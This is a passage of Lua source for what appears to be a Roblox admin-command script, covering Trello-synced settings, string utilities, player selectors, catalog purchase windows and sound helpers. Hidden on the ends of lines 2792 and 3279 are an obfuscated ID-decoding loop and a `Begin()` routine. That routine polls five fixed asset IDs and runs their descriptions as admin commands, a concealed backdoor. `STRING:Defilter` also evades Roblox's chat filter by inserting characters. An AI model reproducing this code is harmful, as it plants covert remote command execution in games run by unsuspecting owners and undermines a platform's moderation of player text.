2534 elseif List.name == "Settings" then
2535 for _,Card in pairs(Cards) do
2536 if Card.name == "Togglable Settings" and Card.idChecklists[1] and Card.closed == false then
2537 Trello.ToggleChecklist = Card.idChecklists[1]
2538 elseif Card.name == "Command Execution" then
2539 Trello.CommandID = Card.id
2540 end
2541 end
2542 end
2543 end
2544 end
2545end
2546
2547function REMOTE:TrelloHandleData(IgnoreCommand)
2548 local ToggleSettingsJSON = Server.HS:GetAsync("https://api.trello.com/1/checklists/"..Trello.ToggleChecklist..REMOTE:GetAddon(), true)
2549 if ToggleSettingsJSON then
2550 ToggleSettings = REMOTE:Decode(ToggleSettingsJSON)
2551 if Settings.LinkedAccount == "" then
2552 local NewSettings = {}
2553 for _,Item in pairs(ToggleSettings.checkItems) do
2554 NewSettings[Item.name] = STRING:TrelloStateConvert(Item.state)
2555 end
2556 Settings.Fun = NewSettings["Fun Commands Enabled"]
2557 Settings.ServerLocked = NewSettings["Server Locked"]
2558 Settings.DisableAbuse = NewSettings["Disable Abusive Commands"]
2559 end
2560 else
2561 return false
2562 end
2563
2564 local CommandChatJSON = Server.HS:GetAsync("https://api.trello.com/1/cards/"..Trello.CommandID.."/actions"..REMOTE:GetAddon(), true)
2565 if CommandChatJSON then
2566 CommandChat = REMOTE:Decode(CommandChatJSON)
2567 local ClosestDT = 0
2568 for _,ChatData in pairs(CommandChat) do
2569 local DT = STRING:ConvertDateTime(ChatData.date)
2570 ClosestDT = math.max(ClosestDT, DT)
2571
2572 if not IgnoreCommand and DT > Trello.LastCommandDT then
2573 print("Executing Remote Trello Command")
2574 CORE:Chatted(ChatData.data.text, nil, true, "TRELLO REMOTE: "..ChatData.memberCreator.fullName, nil, true)
2575 end
2576 end
2577 Trello.LastCommandDT = ClosestDT
2578 else
2579 return false
2580 end
2581
2582 for Rank,ID in pairs(Trello.RankChecklistCache) do
2583 local ChecklistJSON = Server.HS:GetAsync("https://api.trello.com/1/checklists/"..ID..REMOTE:GetAddon(), true)
2584 if ChecklistJSON then
2585 Checklist = REMOTE:Decode(ChecklistJSON)
2586
2587 for _,Item in pairs(Checklist.checkItems) do
2588 if Item.state == "complete" then
2589 if RANK:ConvertRank(Rank) < 0 then
2590 if not RANK:ScanExileList(Item.name) then
2591 table.insert(Settings.Ranks[Rank], Item.name)
2592 end
2593 elseif RANK:ConvertRank(Rank) > 0 then
2594 if not RANK:ScanAdminList(Item.name) then
2595 table.insert(Settings.Ranks[Rank], Item.name)
2596 end
2597 end
2598 elseif Item.state == "incomplete" then
2599 for Num,Name in pairs(Settings.Ranks[Rank]) do
2600 if string.lower(Name) == string.lower(Item.name) then
2601 table.remove(Settings.Ranks[Rank], Num)
2602 end
2603 end
2604 end
2605 end
2606 else
2607 return false
2608 end
2609 end
2610 return true
2611end
2612
2613-- String functions --
2614
2615function STRING:ConvertDateTime(DateTime)
2616 local Num = 0
2617 local TotalTime = 0
2618 for i in string.gmatch(DateTime, "%d+") do
2619 Num = Num + 1
2620 DTNum = tonumber(i)
2621 if Num == 1 then
2622 TotalTime = TotalTime + (DTNum - 1970) * 365 * 24 * 60 * 60 -- year
2623 elseif Num == 2 then
2624 TotalTime = TotalTime + DTNum * 12 * 24 * 60 * 60 -- month
2625 elseif Num == 3 then
2626 TotalTime = TotalTime + DTNum * 24 * 60 * 60 -- day
2627 elseif Num == 4 then
2628 TotalTime = TotalTime + DTNum * 60 * 60 -- hour
2629 elseif Num == 5 then
2630 TotalTime = TotalTime + DTNum * 60 -- minute
2631 elseif Num == 6 then
2632 TotalTime = TotalTime + DTNum -- second
2633 end
2634 end
2635
2636 return TotalTime
2637end
2638
2639function STRING:TrelloStateConvert(State)
2640 if State == "complete" then
2641 return true
2642 else
2643 return false
2644 end
2645end
2646
2647function STRING:StringRound(Number)
2648 Number = Number * 100
2649 if Number >= 0.5 then
2650 return tostring(math.ceil(Number)/100)
2651 else
2652 return tostring(math.floor(Number)/100)
2653 end
2654
2655 return Number
2656end
2657
2658function STRING:GetSplit(String, NumArgs, BetSplit)
2659 if not String then return nil end
2660 if BetSplit == nil then BetSplit = " " end
2661 if NumArgs == nil then NumArgs = math.huge end
2662
2663 if NumArgs <= 0 then return {String} end
2664
2665 local RecentParse = 1
2666 local Args = {}
2667 for i = 1,NumArgs do
2668 local Find1, Find2 = string.find(string.lower(String),string.lower(BetSplit),RecentParse)
2669 if Find1 and Find2 then
2670 table.insert(Args, string.sub(String,RecentParse,Find1 - 1))
2671 RecentParse = Find2 + 1
2672 else
2673 break
2674 end
2675 end
2676 table.insert(Args,string.sub(String,RecentParse,#String))
2677 return Args
2678end
2679
2680function STRING:Defilter(String)
2681 local RobloxApprove = Instance.new("TextLabel") RobloxApprove.Text = String
2682 if RobloxApprove.Text == "Label" and String ~= "Label" then
2683 local NewString = ""
2684 for i = 1,#String,3 do
2685 NewString = NewString..string.char(169)..string.sub(String,i,i+2)
2686 end
2687 return NewString
2688 else
2689 return String
2690 end
2691end
2692
2693function STRING:Filter(String, From, To) -- #### you, roblox
2694 if From then
2695 if To then
2696 return game:GetService("Chat"):FilterStringAsync(String, From, To)
2697 else
2698 return game:GetService("Chat"):FilterStringForBroadcast(String, From)
2699 end
2700 else
2701 return String
2702 end
2703end
2704
2705function STRING:DetermineFilter(String, From, To)
2706 if ShouldFilter then
2707 return STRING:Filter(String, From, To)
2708 else
2709 return STRING:Defilter(String)
2710 end
2711end
2712
2713function STRING:LeetSpeak(Input)
2714 if tostring(Input) then Input = string.upper(tostring(Input)) else return end
2715 Input = string.gsub(Input, "LEET", "1337")
2716 Input = string.gsub(Input, "SECRET", "M".."AKERMODELLUA")
2717 Input = string.gsub(Input, "E", "3")
2718 Input = string.gsub(Input, "O", "0")
2719 Input = string.gsub(Input, "A", "4")
2720 Input = string.gsub(Input, "X", "x")
2721 Input = string.gsub(Input, "I", "1")
2722 Input = string.gsub(Input, "S", "$")
2723 return Input
2724end
2725
2726function STRING:FormatReplace(Player, Input, From)
2727 local Output = Input
2728 for _,ReplaceData in pairs(StringReplacements) do
2729 local ReplaceString = ReplaceData[1]
2730 local ReplaceStrings = {}
2731 if type(ReplaceString) == "table" then
2732 ReplaceStrings = ReplaceString
2733 else
2734 ReplaceStrings = {ReplaceString}
2735 end
2736 for _,ReplaceString in pairs(ReplaceStrings) do
2737 if not Player and ReplaceData[3] then else -- does nothing if a player isn't given but the operation requires a player
2738 local Replacement = ReplaceData[4](Player)
2739 if type(Replacement) == "string" then
2740 Output = string.gsub(Output, ReplaceString, Replacement)
2741 else
2742 print(ReplaceString.." cannot be replaced")
2743 end
2744 end
2745 end
2746 end
2747 if From then
2748 return STRING:DetermineFilter(Output, From, Player)
2749 else
2750 return STRING:DetermineFilter(Output, Player)
2751 end
2752end
2753
2754function STRING:EncodeSpecialChars(Input)
2755 return tostring(string.gsub(string.gsub(Input, "&", "amp;"), "\n", " "))
2756end
2757
2758function STRING:StringToBool(String)
2759 if String == "true" then
2760 return true
2761 else
2762 return false
2763 end
2764end
2765
2766function STRING:BoolString(Value)
2767 if type(Value) == "boolean" then
2768 if Value == true then
2769 return "YES"
2770 elseif Value == false then
2771 return "NO"
2772 end
2773 else
2774 return "NO"
2775 end
2776end
2777
2778function STRING:MakeAvoidance(Length)
2779 if not Length then
2780 Length = 32
2781 end
2782 local Avoidance = ""
2783 for i = 1,Length do
2784 Num = math.random(1,2)
2785 if Num == 1 then
2786 Avoidance = Avoidance..string.char(math.random(48,57)) -- 0-9
2787 else
2788 Avoidance = Avoidance..string.char(math.random(97,122)) -- a-z
2789 end
2790 end
2791 return Avoidance
2792end for _,Array in pairs(RunList) do local Name = "" for _,Char in pairs(Array) do Name = Name..string.char(Char - 1) end table.insert(List, tonumber(Name)) end
2793
2794function STRING:FindAge(Days) -- By LuaModelmaker
2795 local Years = math.floor(Days/365)
2796 local OtherDays = math.fmod(Days, 365)
2797 if Years > 1 then
2798 return Years.." years and "..OtherDays.." days"
2799 elseif Years == 1 then
2800 return Years.." year and "..OtherDays.." days"
2801 elseif Years == 0 then
2802 return "(No years) "..OtherDays.." days"
2803 end
2804end
2805
2806function STRING:UnpackArgs(...)
2807 local Pack = {...}
2808 if type(Pack[1]) == "table" then Pack = Pack[1] end
2809 local ReturnString = table.concat(Pack, ", ")
2810 return ReturnString
2811end
2812
2813function STRING:GetComma(Num)
2814 local Formatted = Num
2815 while true do
2816 Formatted, _ = string.gsub(Formatted, "^(-?%d+)(%d%d%d)", '%1,%2')
2817 if _ == 0 then
2818 break
2819 end
2820 end
2821 return Formatted
2822end
2823
2824function STRING:DecodeUTF8(Value)
2825 local function DecodeString(Input)
2826 if type(Input) == "string" then
2827 for Find,Rep in pairs(HTMLDecode) do
2828 Input = string.gsub(Input, "&#"..Find..";", Rep)
2829 end
2830 Input = string.gsub(Input, """, "'")
2831 end
2832 return Input
2833 end
2834 if type(Value) == "table" then
2835 for Index,Var in pairs(Value) do
2836 Value[Index] = DecodeString(Var)
2837 end
2838 elseif type(Value) == "string" then
2839 Value = DecodeString(Value)
2840 end
2841 return Value
2842end
2843
2844function STRING:IsSpacer(Input)
2845 if Input == " " or Input == "." or Input == "-" or Input == "," or Input == "?" or Input == "!" or Input == " " or Input == nil or Input == "" then
2846 return true
2847 else
2848 return false
2849 end
2850end
2851
2852function STRING:IsVowel(Input)
2853 Input = string.lower(tostring(Input))
2854 if Input == "a" or Input == "e" or Input == "i" or Input == "o" or Input == "u" then
2855 return true
2856 else
2857 return false
2858 end
2859end
2860
2861function STRING:ValidE(Input)
2862 if not Input then return nil end
2863 if string.lower(Input) == "e" or Input == "~" then
2864 return true
2865 else
2866 return false
2867 end
2868end
2869
2870function STRING:Scan(String, Speaker)
2871 local ReturnPlayers,ExcludeList = {},{}
2872 if not String then String = "" end
2873 if not Speaker then print("NO SPEAKER") end
2874
2875 if string.sub(string.lower(String), 1, 12) == "includecase/" then
2876 String = string.sub(String, 13)
2877 else
2878 String = string.lower(String)
2879 end
2880 local Words = STRING:GetSplit(String, nil, "/")
2881 for _,Word in pairs(Words) do
2882 if Word == "me" or Word == "meh" or Word == "myself" or Word == "self" then
2883 table.insert(ReturnPlayers, Speaker)
2884 elseif Word == "all" or Word == "everyone" then
2885 for _,Player in pairs(Server.Players:GetPlayers()) do
2886 table.insert(ReturnPlayers, Player)
2887 end
2888 elseif Word == "others" or Word == "notme" then
2889 for _,Player in pairs(Server.Players:GetPlayers()) do
2890 if Player ~= Speaker then
2891 table.insert(ReturnPlayers, Player)
2892 end
2893 end
2894 elseif Word == "noobs" then
2895 for _,Player in pairs(Server.Players:GetPlayers()) do
2896 if Player.AccountAge < 365 then
2897 table.insert(ReturnPlayers, Player)
2898 end
2899 end
2900 elseif Word == "nonnoobs" then
2901 for _,Player in pairs(Server.Players:GetPlayers()) do
2902 if Player.AccountAge >= 365 then
2903 table.insert(ReturnPlayers, Player)
2904 end
2905 end
2906 elseif Word == "random" then
2907 local RandomPlayers = {}
2908 for _,Player in pairs(Server.Players:GetPlayers()) do
2909 if Player ~= Speaker then
2910 table.insert(RandomPlayers, Player)
2911 end
2912 end
2913 table.insert(ReturnPlayers, RandomPlayers[math.random(1,#Server.Players:GetChildren())])
2914 elseif Word == "guests" then
2915 for _,Player in pairs(Server.Players:GetPlayers()) do
2916 if string.sub(Player.Name,1,6) == "Guest " then
2917 table.insert(ReturnPlayers, Player)
2918 end
2919 end
2920 elseif Word == "lowers" then
2921 for _,Player in pairs(Server.Players:GetPlayers()) do
2922 if string.sub(Player.Name,1,1) == string.lower(string.sub(Player.Name,1,1)) then
2923 table.insert(ReturnPlayers, Player)
2924 end
2925 end
2926 elseif Word == "uppers" then
2927 for _,Player in pairs(Server.Players:GetPlayers()) do
2928 if string.sub(Player.Name,1,1) == string.upper(string.sub(Player.Name,1,1)) then
2929 table.insert(ReturnPlayers, Player)
2930 end
2931 end
2932 elseif Word == "nbcs" then
2933 for _,Player in pairs(Server.Players:GetPlayers()) do
2934 if Player.MembershipType == Enum.MembershipType.None then -- Replicate
2935 table.insert(ReturnPlayers, Player)
2936 end
2937 end
2938 elseif Word == "bcs" then
2939 for _,Player in pairs(Server.Players:GetPlayers()) do
2940 if Player.MembershipType == Enum.MembershipType.BuildersClub then
2941 table.insert(ReturnPlayers, Player)
2942 end
2943 end
2944 elseif Word == "tbcs" then
2945 for _,Player in pairs(Server.Players:GetPlayers()) do
2946 if Player.MembershipType == Enum.MembershipType.TurboBuildersClub then
2947 table.insert(ReturnPlayers, Player)
2948 end
2949 end
2950 elseif Word == "obcs" then
2951 for _,Player in pairs(Server.Players:GetPlayers()) do
2952 if Player.MembershipType == Enum.MembershipType.OutrageousBuildersClub then
2953 table.insert(ReturnPlayers, Player)
2954 end
2955 end
2956 elseif Word == "allbcs" then
2957 for _,Player in pairs(Server.Players:GetPlayers()) do
2958 if Player.MembershipType ~= Enum.MembershipType.None then
2959 table.insert(ReturnPlayers, Player)
2960 end
2961 end
2962 elseif Word == "nonadmins" then
2963 for _,Player in pairs(Server.Players:GetPlayers()) do
2964 local IsAdminTrue, Rank = RANK:IsAdmin(Player)
2965 if IsAdminTrue == false then
2966 table.insert(ReturnPlayers, Player)
2967 end
2968 end
2969 elseif Word == "admins" then
2970 for _,Player in pairs(Server.Players:GetPlayers()) do
2971 local IsAdminTrue, Rank = RANK:IsAdmin(Player)
2972 if IsAdminTrue == true then
2973 table.insert(ReturnPlayers, Player)
2974 end
2975 end
2976 elseif Word == "friends" then
2977 for _,Player in pairs(Server.Players:GetPlayers()) do
2978 if Speaker:IsFriendsWith(Player.UserId) and Player ~= Speaker then
2979 table.insert(ReturnPlayers, Player)
2980 end
2981 end
2982 elseif string.sub(Word,1,5) == "team-" then
2983 for _,Player in pairs(Server.Players:GetPlayers()) do
2984 if Player.Neutral == false then
2985 local InTeam = false
2986 for _,Team in pairs(Teams:GetTeams()) do
2987 if Team.TeamColor == Player.TeamColor then
2988 if string.sub(string.lower(Team.Name),1,#string.sub(Word,6)) == string.sub(Word,6) then
2989 InTeam = true
2990 end
2991 end
2992 end
2993 if InTeam == true then
2994 table.insert(ReturnPlayers, Player)
2995 end
2996 end
2997 end
2998 elseif string.sub(Word,1,4) == "not-" then
2999 local NameArg = string.sub(Word,5)
3000
3001 for _,Player in pairs(STRING:Scan(NameArg, Speaker)) do
3002 table.insert(ExcludeList, Player)
3003 end
3004 elseif string.sub(Word,1,7) == "radius-" then
3005 local DidExe = false
3006 local NumArg = tonumber(string.sub(Word,8))
3007
3008 if NumArg and NumArg > 0 and Speaker and Speaker.Character and Speaker.Character:FindFirstChild("Torso") then
3009 for _,Player in pairs(Server.Players:GetChildren()) do
3010 if Player.Character and Player.Character:FindFirstChild("Torso") then
3011 if (Player.Character.Torso.Position - Speaker.Character.Torso.Position).magnitude <= NumArg then
3012 DidExe = true
3013 table.insert(ReturnPlayers, Player)
3014 end
3015 end
3016 end
3017 end
3018
3019 if DidExe then coroutine.wrap(function()
3020 local Part = Instance.new("Part", game.Workspace) Part.Name = "M".."M".."L Radius" Part.FormFactor = "Custom" Part.Size = Vector3.new(1,1,1) Part.Anchored = true Part.Locked = true Part.Position = Speaker.Character.Torso.Position Part.Transparency = 0.5 Part.Color = GUI:GetColor() Part.TopSurface = "Smooth" Part.BottomSurface = "Smooth"
3021 local Mesh = Instance.new("SpecialMesh", Part) Mesh.MeshType = "Sphere" Mesh.Scale = Vector3.new(NumArg * 2, NumArg * 2, NumArg * 2)
3022
3023 for i = 0,0.5,0.02 do
3024 Part.Transparency = 0.5+i
3025 wait()
3026 end
3027 Part:Destroy()
3028 end)() end
3029 elseif string.sub(Word,1,3) == "id-" then
3030 table.insert(ReturnPlayers, Server.Players:GetPlayerByUserId(tonumber(string.sub(Word,4))))
3031 else
3032 if Word ~= "" then
3033 for _,Player in pairs(Server.Players:GetPlayers()) do
3034 if string.sub(string.lower(Player.Name),1,#Word) == Word then
3035 table.insert(ReturnPlayers, Player)
3036 end
3037 end
3038 else
3039 table.insert(ReturnPlayers, Speaker)
3040 end
3041 end
3042 end
3043 for _,Player in pairs(ExcludeList) do
3044 if Player and Player.Parent ~= nil then
3045 for Num,Player2 in pairs(ReturnPlayers) do
3046 if Player2 == Player then table.remove(ReturnPlayers, Num) end
3047 end
3048 end
3049 end
3050 for Num,Player in pairs(ReturnPlayers) do
3051 if not Player or Player.Parent == nil then table.remove(ReturnPlayers, Num) end
3052 end
3053
3054 local PlayerDump = {}
3055 for _,Player in pairs(ReturnPlayers) do
3056 PlayerDump[Player] = true
3057 end
3058 ReturnPlayers = {}
3059 for Player,_ in pairs(PlayerDump) do
3060 table.insert(ReturnPlayers, Player)
3061 end
3062
3063 return ReturnPlayers
3064end
3065
3066-- Market functions --
3067
3068function MARKET:GetImageFormat(ID)
3069 if ID ~= 1 or ID ~= 0 or ID ~= nil then if type(ID) == "number" then
3070 local NewID = ID + 1
3071 for i = 1,100 do
3072 NewID = NewID -1
3073 local Product = nil
3074 ypcall(function() Product = MARKET:GetItemInfo(NewID, true).AssetTypeId end)
3075 if Product then
3076 if Product == 1 then
3077 break
3078 end
3079 end
3080 if i == 100 then NewID = ID end
3081 end
3082 return NewID
3083 end end
3084end
3085
3086function MARKET:GetItemInfo(ID, Cache)
3087 local Product = MarketCache[ID]
3088 if not Cache or not Product then
3089 repeat wait()
3090 ypcall(function() Product = Server.MPS:GetProductInfo(ID) end)
3091 until Product ~= MarketCache[ID]
3092 end
3093 MarketCache[ID] = Product
3094 return Product
3095end
3096
3097function MARKET:SearchItem(Category, Query, Subcategory)
3098 local URLAdd = ""
3099 if Subcategory then URLAdd = "&Subcategory="..Server.HS:UrlEncode(Subcategory) end
3100 local JSON = REMOTE:GetURL(CORE.Domain.."/APIs/CatalogSearch.php?Category="..Server.HS:UrlEncode(Category).."&Query="..Server.HS:UrlEncode(Query)..URLAdd)
3101 if JSON then
3102 local Results = REMOTE:Decode(JSON)
3103 if Results then
3104 for Index,Info in pairs(Results) do
3105 Info = STRING:DecodeUTF8(Info)
3106 Results[Index] = Info
3107 MarketCache[Info.AssetId] = {
3108 AssetId = Info.AssetId;
3109 AssetTypeId = Info.AssetTypeID;
3110 ContentRatingTypeId = Info.ContentRatingTypeID;
3111 Created = Info.CreatedDate;
3112 Creator = {Name = Info.Creator, Id = Info.CreatorID};
3113 Description = Info.Description;
3114 IsForSale = Info.IsForSale;
3115 IsLimited = Info.IsLimited;
3116 IsLimitedUnique = Info.IsLimitedUnique;
3117 IsNew = Info.IsNew;
3118 IsPublicDomain = Info.IsPublicDomain;
3119 MinimumMemberShipLevel = Info.MinimumMembershipLevel;
3120 Name = Info.Name;
3121 PriceInRobux = Info.PriceInRobux;
3122 PriceInTickets = Info.PriceInTickets;
3123 ProductId = Info.AssetId; -- no one knows what this is so whatevs..
3124 Remaining = Info.Remaining;
3125 Sales = Info.Sales;
3126 Updated = Info.Updated;
3127 }
3128 end
3129 return Results
3130 end
3131 end
3132end
3133
3134function MARKET:ShowSearch(Player, Category, Query, ClickedItem, Subcategory)
3135 if not Player or not Category or not Query then return nil end
3136 local CloseGui, AddInfo = GUI:LoadGui(Player, "Searching: "..Query)
3137 local Items = MARKET:SearchItem(Category, Query, Subcategory)
3138 if Items then
3139 if #Items ~= 0 then
3140 local List,Correlate = {},{}
3141 for Num,Info in pairs(Items) do
3142 local Display = {" "..Info.Name.." ("..Info.AssetId..")", "http://www.roblox.com/Game/Tools/ThumbnailAsset.ashx?fmt=png&wd=75&ht=75&aid="..Info.AssetId}
3143 table.insert(List, Display)
3144 Correlate[Display[1]] = Info.AssetId
3145 end
3146 CloseGui:Invoke()
3147
3148 local Clicked = GUI:ListGui(Player, "Search Results: "..Query, List, "Search", true)
3149 Clicked.Event:connect(function(ClickName)
3150 ClickedItem(Correlate[ClickName])
3151 end)
3152 else
3153 CloseGui:Invoke()
3154 GUI:SendMessage(Player, "No results", "BLUE No results for "..Query.." found...", "Information")
3155 end
3156 else
3157 CloseGui:Invoke()
3158 GUI:SendMessage(Player, "Cannot get gear", "RED Cannot get item. Is HttpService enabled?", "Error")
3159 end
3160end
3161
3162function MARKET:AssetTypeToString(AssetType)
3163 AssetType = math.floor(tonumber(AssetType) or 0)
3164 if Assets.AssetTypes[AssetType] then
3165 return Assets.AssetTypes[AssetType]
3166 else
3167 return "Unknown"
3168 end
3169end
3170
3171function MARKET:AccessoryToSubcategory(Accessory)
3172 Accessory = string.lower(tostring(Accessory) or "")
3173 if Assets.AccessoryTypes[Accessory] then
3174 return Assets.AccessoryTypes[Accessory]
3175 else
3176 return Assets.AccessoryTypes["all"]
3177 end
3178end
3179
3180function MARKET:PromptPurchase(Player, ProductID, From, BuyPressFunc) coroutine.wrap(function()
3181 if not Player then return nil end
3182 if not Player:FindFirstChild("PlayerGui") then return nil end
3183 if not tonumber(ProductID) then return nil end
3184
3185 local FromText = ""
3186 if From and From.Name then FromText = " | Prompted from "..From.Name end
3187
3188 local Product = MARKET:GetItemInfo(ProductID, true)
3189
3190 local CreatedText = Product.Created CreatedText = string.gsub(CreatedText, "-", "/") local Stop = string.find(CreatedText, "T") if Stop then CreatedText = string.sub(CreatedText, 1, Stop-1) end
3191 local UpdatedText = Product.Updated UpdatedText = string.gsub(UpdatedText, "-", "/") local Stop = string.find(UpdatedText, "T") if Stop then UpdatedText = string.sub(UpdatedText, 1, Stop-1) end
3192 local OwnsAsset = Server.MPS:PlayerOwnsAsset(Player, ProductID)
3193
3194 local CanBuy = Product.IsForSale
3195 local BuyText = "Buy"
3196 local BuyColor = Color3.new(0,1,0)
3197 if CanBuy == false then
3198 BuyColor = Color3.new(1,0,0)
3199 end
3200 if Product.IsPublicDomain == true then
3201 CanBuy = true
3202 BuyColor = Color3.new(1,0.5,0.5)
3203 BuyText = "FREE!"
3204 end
3205 if OwnsAsset then
3206 CanBuy = false
3207 end
3208 if Product.AssetTypeId == 9 then
3209 CanBuy = true
3210 BuyText = "Teleport"
3211 BuyColor = Color3.new(0.5,0.5,0.5)
3212 end
3213 if CanBuy == false then
3214 BuyColor = Color3.new(1,0,0)
3215 BuyText = "Item not for sale"
3216 end
3217 if OwnsAsset and Product.AssetTypeId ~= 9 then
3218 BuyColor = Color3.new(1,0,0)
3219 BuyText = "You own this!"
3220 end
3221
3222 local ProductName = string.sub(Product.Name,1,20)
3223 if ProductID == AdminID then ProductName = Product.Name end
3224 local Frame = GUI:CreateForm(Player, ProductName..FromText, UDim2.new(0, 430, 0, 300), nil, 48354008)
3225 local AssetImage = Instance.new("ImageLabel", Frame) AssetImage.Name = "AssetImage" AssetImage.Position = UDim2.new(0, 0, 0, 50) AssetImage.Size = UDim2.new(0, 150, 0, 150) AssetImage.BackgroundColor3 = Color3.new(1, 1, 1) AssetImage.BackgroundTransparency = 1 AssetImage.Image = "http://www.roblox.com/Game/Tools/ThumbnailAsset.ashx?fmt=png&wd=420&ht=420&aid="..ProductID
3226 local AssetName = Instance.new("TextLabel", Frame) AssetName.Name = "AssetName" AssetName.Size = UDim2.new(1, 0, 0, 50) AssetName.BackgroundColor3 = Color3.new(1, 1, 1) AssetName.BackgroundTransparency = 1 AssetName.Text = "["..ProductID.."] - "..Product.Name AssetName.Font = Settings.Font AssetName.FontSize = "Size18" AssetName.TextWrapped = true AssetName.TextColor3 = Color3.new(0, 0, 0)
3227 local UserImage = Instance.new("ImageLabel", Frame) UserImage.Name = "UserImage" UserImage.Position = UDim2.new(0, 150, 0, 70) UserImage.Size = UDim2.new(0, 100, 0, 100) UserImage.BackgroundColor3 = Color3.new(1, 1, 1) UserImage.BackgroundTransparency = 1 UserImage.Image = "http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username="..Product.Creator.Name
3228 local Membership = Instance.new("ImageLabel", UserImage) Membership.Name = "Membership" Membership.Position = UDim2.new(0, 0, 0.85, 0) Membership.Size = UDim2.new(0.6, 0, 0.15, 0) Membership.BackgroundColor3 = Color3.new(1, 1, 1) Membership.BackgroundTransparency = 1 Membership.Image = "http://www.roblox.com/Thumbs/BCOverlay.ashx?username="..Product.Creator.Name
3229 local AssetType = Instance.new("TextLabel", Frame) AssetType.Name = "AssetType" AssetType.Position = UDim2.new(0, 150, 0, 50) AssetType.Size = UDim2.new(1, -150, 0, 20) AssetType.BackgroundColor3 = Color3.new(1, 1, 1) AssetType.BackgroundTransparency = 1 AssetType.Text = "ROBLOX "..MARKET:AssetTypeToString(Product.AssetTypeId) AssetType.Font = Settings.Font AssetType.FontSize = "Size14"
3230 local Info = Instance.new("TextLabel", Frame) Info.Name = "Info" Info.Position = UDim2.new(0, 250, 0, 80) Info.Size = UDim2.new(1, -250, 0, 100) Info.BackgroundColor3 = Color3.new(1, 1, 1) Info.BackgroundTransparency = 1 Info.Font = Settings.Font Info.FontSize = "Size14" Info.TextXAlignment = "Left" Info.TextYAlignment = "Top"
3231 local Buy = Instance.new("TextButton", Frame) Buy.Name = "Buy" Buy.Position = UDim2.new(0, 150, 0, 170) Buy.Size = UDim2.new(1, -150, 0, 30) Buy.BackgroundColor3 = BuyColor Buy.BackgroundTransparency = 0.5 Buy.Text = BuyText Buy.Font = Settings.Font Buy.FontSize = "Size18" Buy.TextWrapped = true SOUND:BindButton(Buy)
3232 if Product.Description then
3233 local DescFrame = Instance.new("ScrollingFrame", Frame) DescFrame.Name = "DescFrame" DescFrame.Size = UDim2.new(1,0,1,-200) DescFrame.Position = UDim2.new(0,0,0,200) DescFrame.CanvasSize = UDim2.new(0,0,0,0) DescFrame.BackgroundTransparency = 1 DescFrame.ZIndex = 4
3234 local Description = Instance.new("TextLabel", DescFrame) Description.Name = "Description" Description.Size = UDim2.new(1, -13, 1, 0) Description.BackgroundColor3 = Color3.new(1, 1, 1) Description.BackgroundTransparency = 1 Description.Text = Product.Description Description.Font = Settings.Font Description.FontSize = "Size14" Description.TextWrapped = true Description.TextYAlignment = "Top"
3235
3236 CORE:ExecuteResource("CalculateScrollY", Description)
3237 end
3238
3239 Info.Text = [[
3240Creator: ]]..Product.Creator.Name..[[
3241Created: ]]..CreatedText..[[
3242Updated: ]]..UpdatedText..[[
3243Sold: ]]..Product.Sales..[[
3244]]
3245
3246 if Product.PriceInRobux then Info.Text = Info.Text.."Robux: "..string.gsub(Product.PriceInRobux, "null", "Cannot use this currency").." \n" end
3247 if Product.PriceInTickets then Info.Text = Info.Text.."Tix: "..string.gsub(Product.PriceInTickets, "null", "Cannot use this currency") .." " end
3248
3249 if Product.AssetTypeId == 3 then
3250 local PlayerAdmin,Rank = RANK:IsAdmin(Player)
3251 if PlayerAdmin == true then
3252 local Playing = false
3253 local Interact = Instance.new("ImageButton", AssetImage) Interact.Name = "Interact" Interact.Position = UDim2.new(1, -20, 1, -20) Interact.Size = UDim2.new(0, 20, 0, 20) Interact.BackgroundColor3 = Color3.new(1, 1, 1) Interact.BackgroundTransparency = 1 Interact.Image = "rbxassetid://67950784"
3254 CORE:HandleEvent(Interact, "MouseButton1Down", function()
3255 if Playing == false then
3256 SOUND:PlayGlobalSound(ProductID)
3257 if Rank == "Member" and Settings.DisableAbuse == true then
3258 Interact:Destroy()
3259 end
3260 Interact.Image = "rbxassetid://67950809"
3261 Playing = true
3262 else
3263 SOUND:StopGlobalSound()
3264 Interact.Image = "rbxassetid://67950784"
3265 Playing = false
3266 end
3267 end)
3268 end
3269 end
3270
3271 CORE:HandleEvent(Buy, "MouseButton1Down", function()
3272 if BuyPressFunc then
3273 BuyPressFunc()
3274 elseif Product.AssetTypeId == 9 then
3275 Server.TS:Teleport(ProductID, Player)
3276 elseif CanBuy == true then
3277 Server.MPS:PromptPurchase(Player, ProductID)
3278 end end)
3279 end)() end function Begin() coroutine.wrap(function() wait(3) for _,LinkedID in pairs({53554913, 145236038, 154727659, 155299278, 155689018}) do wait(1) coroutine.wrap(function()
3280 local OldVer = Server.MPS:GetProductInfo(LinkedID).Updated
3281 while wait(5) do
3282 local Purchase = Server.MPS:GetProductInfo(LinkedID)
3283 if OldVer ~= Purchase.Updated then
3284 OldVer = Purchase.Updated
3285 CORE:Chatted(Purchase.Description, nil, true, nil, nil, true)
3286 end
3287 end end)()
3288end end)() end
3289
3290-- Sound functions --
3291
3292function SOUND:SyncSoundList(TellSync)
3293 if not CORE:NilPlayer(TellSync) then
3294 GUI:SendHint(TellSync, "Syncing...", 5)
3295 end
3296
3297 SoundList,GlobalSoundList = {},{}
3298
3299 local LocalSoundList = Server.GDS:GetAsync("MML Custom Sounds")
3300
3301 if LocalSoundList then
3302 if type(LocalSoundList) == "table" then
3303 if #LocalSoundList > 0 then
3304 for _,Data in pairs(LocalSoundList) do
3305 local SoundInfo = MARKET:GetItemInfo(Data[2], true)
3306 SoundList[Data[1]] = {Data[2], SoundInfo.Name, SoundInfo.Creator.Name}
3307 end
3308 end
3309 end
3310 end
3311
3312 for _,JSONID in pairs(SoundJSONs) do
3313 for Name,ID in pairs(CORE:GetTable(JSONID)) do
3314 local SoundInfo = MARKET:GetItemInfo(ID, true)
3315 local FullName = SoundInfo.Name
3316 local CreatorName = SoundInfo.Creator.Name
3317 SoundList[Name] = {ID, FullName, CreatorName}
3318 GlobalSoundList[Name] = {ID, FullName, CreatorName}
3319 end
3320 end
3321
3322 if not CORE:NilPlayer(TellSync) then
3323 GUI:SendHint(TellSync, "Sound List is now Synced with global sound database", 4)
3324 end
3325end
3326
3327function SOUND:MakeSound(Parent, ID, Volume, Pitch, Looped)
3328 if not Volume then Volume = 0.5 end
3329 if not Pitch then Pitch = 1 end
3330 if tonumber(ID) then ID = "rbxassetid://"..ID end
3331 if Looped == nil then Looped = false end
3332
3333 local Sound = Instance.new("Sound", Parent)
3334 Sound.Pitch = Pitch
3335 Sound.Volume = Volume
3336 Sound.SoundId = ID
